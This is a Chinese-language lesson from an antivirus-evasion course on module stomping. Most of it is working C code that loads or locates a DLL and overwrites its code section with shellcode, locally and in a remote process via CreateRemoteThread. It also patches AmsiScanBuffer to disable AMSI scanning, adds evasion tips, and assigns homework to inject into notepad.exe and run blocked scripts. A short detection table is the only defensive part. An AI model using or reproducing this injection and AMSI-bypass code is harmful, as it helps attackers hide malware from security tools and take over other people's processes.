免杀专题

11、模块镂空

1. 课程目标

掌握模块镂空技术,通过替换已加载DLL的代码段来执行恶意代码,这是一种比进程镂空更隐蔽的注入方式。

1.1 学习目标

  • 理解模块镂空与进程镂空的区别
  • 掌握如何定位和替换DLL代码段
  • 学会处理DLL的代码段权限
  • 实现完整的模块镂空注入

2. 名词解释

名词 英文 解释
模块镂空 Module Stomping 替换已加载DLL的.text段为恶意代码
DLL镂空 DLL Hollowing 模块镂空的另一种叫法
.text段 .text Section PE文件中存储可执行代码的区段
牺牲DLL Sacrificial DLL 被选中用于替换代码的目标DLL
代码洞穴 Code Cave PE文件中未使用的代码空间
内存保护 Memory Protection 内存页面的读/写/执行权限
LdrLoadDll - 加载DLL的Native API

3. 技术原理

3.1 模块镂空 vs 进程镂空

特性 模块镂空 进程镂空
目标 已加载的DLL 整个进程映像
需要解映射 不需要 需要
隐蔽性 更高
实现复杂度 中等
内存扫描检测 更难 较易

3.2 技术流程

┌─────────────────────────────────────────┐
│  1. 选择牺牲DLL(已加载或强制加载)       │
│     选择不常用、代码段足够大的DLL         │
└──────────────────┬──────────────────────┘

┌─────────────────────────────────────────┐
│  2. 定位DLL的.text代码段                 │
│     解析PE头,找到.text段地址和大小       │
└──────────────────┬──────────────────────┘

┌─────────────────────────────────────────┐
│  3. 修改.text段内存权限为RWX             │
│     VirtualProtect/VirtualProtectEx      │
└──────────────────┬──────────────────────┘

┌─────────────────────────────────────────┐
│  4. 将ShellCode写入.text段               │
│     memcpy或WriteProcessMemory           │
└──────────────────┬──────────────────────┘

┌─────────────────────────────────────────┐
│  5. 恢复内存权限为RX(可选但推荐)        │
│     VirtualProtect                       │
└──────────────────┬──────────────────────┘

┌─────────────────────────────────────────┐
│  6. 执行ShellCode                        │
│     创建线程或函数指针调用                │
└─────────────────────────────────────────┘

3.3 牺牲DLL选择标准

标准 说明
代码段大小 .text段必须大于ShellCode大小
使用频率 选择不常被调用的DLL
系统DLL 优先选择系统DLL,更不易被怀疑
签名状态 已签名的DLL看起来更合法

推荐的牺牲DLL列表:

  • amsi.dll - 反恶意软件接口(体积小,但可绕过AMSI)
  • mshtml.dll - HTML渲染(体积大)
  • dbghelp.dll - 调试帮助库
  • clbcatq.dll - COM+ 分类管理器
  • propsys.dll - 属性系统

4. 核心实现代码

4.1 本地模块镂空

#include <windows.h>
#include <stdio.h>

// ShellCode示例:MessageBox弹窗
unsigned char shellcode[] = {
    // 替换为实际ShellCode
    0x90, 0x90, 0x90, 0x90  // NOP占位
};

// 查找DLL的.text段
BOOL FindTextSection(HMODULE hModule, LPVOID* ppTextBase, SIZE_T* pTextSize) {
    PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)hModule;
    if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        return FALSE;
    }
    
    PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hModule + pDosHeader->e_lfanew);
    if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
        return FALSE;
    }
    
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
    for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
        // 查找.text段或具有执行权限的段
        if (memcmp(pSection[i].Name, ".text", 5) == 0 ||
            (pSection[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
            
            *ppTextBase = (LPBYTE)hModule + pSection[i].VirtualAddress;
            *pTextSize = pSection[i].Misc.VirtualSize;
            
            printf("[+] 找到.text段:\n");
            printf("    名称: %.8s\n", pSection[i].Name);
            printf("    基址: 0x%p\n", *ppTextBase);
            printf("    大小: 0x%X (%d bytes)\n", (DWORD)*pTextSize, (DWORD)*pTextSize);
            
            return TRUE;
        }
    }
    
    return FALSE;
}

// 本地模块镂空
BOOL LocalModuleStomping(LPCWSTR szDllPath, LPVOID pShellcode, SIZE_T shellcodeSize) {
    printf("[*] 开始本地模块镂空\n");
    printf("[*] 目标DLL: %ws\n", szDllPath);
    
    // 1. 加载目标DLL
    HMODULE hModule = LoadLibraryExW(szDllPath, NULL, DONT_RESOLVE_DLL_REFERENCES);
    if (!hModule) {
        printf("[-] 加载DLL失败: %d\n", GetLastError());
        return FALSE;
    }
    printf("[+] DLL加载成功: 0x%p\n", hModule);
    
    // 2. 查找.text段
    LPVOID pTextBase = NULL;
    SIZE_T textSize = 0;
    if (!FindTextSection(hModule, &pTextBase, &textSize)) {
        printf("[-] 未找到.text段\n");
        FreeLibrary(hModule);
        return FALSE;
    }
    
    // 3. 检查大小是否足够
    if (textSize < shellcodeSize) {
        printf("[-] .text段太小: 需要%lld, 实际%lld\n", shellcodeSize, textSize);
        FreeLibrary(hModule);
        return FALSE;
    }
    
    // 4. 修改内存权限
    DWORD dwOldProtect;
    if (!VirtualProtect(pTextBase, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        printf("[-] 修改内存权限失败: %d\n", GetLastError());
        FreeLibrary(hModule);
        return FALSE;
    }
    printf("[+] 内存权限已修改为RWX\n");
    
    // 5. 写入ShellCode
    memcpy(pTextBase, pShellcode, shellcodeSize);
    printf("[+] ShellCode已写入 (%lld bytes)\n", shellcodeSize);
    
    // 6. 恢复内存权限为RX
    DWORD dwTemp;
    VirtualProtect(pTextBase, shellcodeSize, PAGE_EXECUTE_READ, &dwTemp);
    printf("[+] 内存权限已恢复为RX\n");
    
    // 7. 执行ShellCode
    printf("[*] 执行ShellCode...\n");
    
    // 方式1:函数指针调用
    ((void(*)())pTextBase)();
    
    // 或方式2:创建线程
    // HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pTextBase, NULL, 0, NULL);
    // WaitForSingleObject(hThread, INFINITE);
    
    return TRUE;
}

int main() {
    printf("========================================\n");
    printf("    模块镂空 (Module Stomping) 演示\n");
    printf("========================================\n\n");
    
    // 使用amsi.dll作为牺牲DLL(也可同时绕过AMSI)
    LocalModuleStomping(
        L"C:\\Windows\\System32\\amsi.dll",
        shellcode,
        sizeof(shellcode)
    );
    
    return 0;
}

4.2 远程进程模块镂空

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// 在远程进程中查找已加载的模块
LPVOID FindRemoteModuleBase(DWORD dwPid, LPCWSTR szModuleName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, dwPid);
    if (hSnap == INVALID_HANDLE_VALUE) return NULL;
    
    MODULEENTRY32W me = { sizeof(me) };
    LPVOID pBase = NULL;
    
    if (Module32FirstW(hSnap, &me)) {
        do {
            if (_wcsicmp(me.szModule, szModuleName) == 0) {
                pBase = me.modBaseAddr;
                break;
            }
        } while (Module32NextW(hSnap, &me));
    }
    
    CloseHandle(hSnap);
    return pBase;
}

// 远程模块镂空
BOOL RemoteModuleStomping(DWORD dwPid, LPCWSTR szModuleName, LPVOID pShellcode, SIZE_T shellcodeSize) {
    printf("[*] 远程模块镂空\n");
    printf("[*] 目标PID: %d\n", dwPid);
    printf("[*] 目标模块: %ws\n", szModuleName);
    
    // 1. 打开目标进程
    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
        FALSE, dwPid
    );
    if (!hProcess) {
        printf("[-] 打开进程失败: %d\n", GetLastError());
        return FALSE;
    }
    
    // 2. 查找模块基址
    LPVOID pModuleBase = FindRemoteModuleBase(dwPid, szModuleName);
    if (!pModuleBase) {
        printf("[-] 未找到模块\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    printf("[+] 模块基址: 0x%p\n", pModuleBase);
    
    // 3. 读取远程PE头
    BYTE header[0x1000];
    SIZE_T bytesRead;
    if (!ReadProcessMemory(hProcess, pModuleBase, header, sizeof(header), &bytesRead)) {
        printf("[-] 读取PE头失败\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 4. 解析PE头,找.text段
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)header;
    PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(header + pDos->e_lfanew);
    PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
    
    LPVOID pTextBase = NULL;
    SIZE_T textSize = 0;
    
    for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
        if (memcmp(pSection[i].Name, ".text", 5) == 0) {
            pTextBase = (LPBYTE)pModuleBase + pSection[i].VirtualAddress;
            textSize = pSection[i].Misc.VirtualSize;
            break;
        }
    }
    
    if (!pTextBase) {
        printf("[-] 未找到.text段\n");
        CloseHandle(hProcess);
        return FALSE;
    }
    printf("[+] .text段地址: 0x%p, 大小: 0x%X\n", pTextBase, (DWORD)textSize);
    
    // 5. 修改远程内存权限
    DWORD dwOldProtect;
    if (!VirtualProtectEx(hProcess, pTextBase, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
        printf("[-] 修改权限失败: %d\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }
    
    // 6. 写入ShellCode
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, pTextBase, pShellcode, shellcodeSize, &bytesWritten)) {
        printf("[-] 写入ShellCode失败: %d\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }
    printf("[+] ShellCode已写入\n");
    
    // 7. 恢复权限
    VirtualProtectEx(hProcess, pTextBase, shellcodeSize, PAGE_EXECUTE_READ, &dwOldProtect);
    
    // 8. 创建远程线程执行
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, 
                                         (LPTHREAD_START_ROUTINE)pTextBase, 
                                         NULL, 0, NULL);
    if (!hThread) {
        printf("[-] 创建远程线程失败: %d\n", GetLastError());
        CloseHandle(hProcess);
        return FALSE;
    }
    
    printf("[+] 远程线程已创建\n");
    WaitForSingleObject(hThread, INFINITE);
    
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return TRUE;
}

5. 高级技术:AMSI绕过结合

模块镂空amsi.dll可以同时实现:

  1. 代码注入执行
  2. AMSI绕过
// amsi.dll镂空实现AMSI绕过
BOOL BypassAMSIViaStomping() {
    HMODULE hAmsi = LoadLibraryW(L"amsi.dll");
    if (!hAmsi) return FALSE;
    
    // 获取AmsiScanBuffer地址
    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");
    if (!pAmsiScanBuffer) return FALSE;
    
    // 直接返回S_OK的ShellCode
    // mov eax, 0x80070057 (E_INVALIDARG)
    // ret
    BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    
    DWORD dwOld;
    VirtualProtect(pAmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &dwOld);
    memcpy(pAmsiScanBuffer, patch, sizeof(patch));
    VirtualProtect(pAmsiScanBuffer, sizeof(patch), dwOld, &dwOld);
    
    printf("[+] AMSI已绕过\n");
    return TRUE;
}

6. 检测与防御

6.1 检测方法

方法 说明
内存完整性检查 比较DLL磁盘和内存中的.text段
代码签名验证 验证内存中代码的签名
ETW监控 监控VirtualProtect调用
异常权限检测 检测RWX权限的已签名DLL

6.2 规避技术

  1. 选择很少被校验的DLL
  2. 使用ROP链避免直接执行
  3. 恢复原始权限后再执行

7. 课后作业

7.1、作业1:基础实现(必做)

  1. 实现本地模块镂空,选择一个系统DLL
  2. 验证ShellCode执行成功

7.2、作业2:远程注入(进阶)

  1. 实现远程进程的模块镂空
  2. 选择notepad.exe作为目标

7.3、作业3:AMSI绕过(高级)

  1. 利用模块镂空技术绕过AMSI
  2. 执行被AMSI拦截的脚本验证

8. 下一课预告

下一课我们将学习Windows策略防止挂钩的技术,了解如何利用CFG、CIG等安全策略。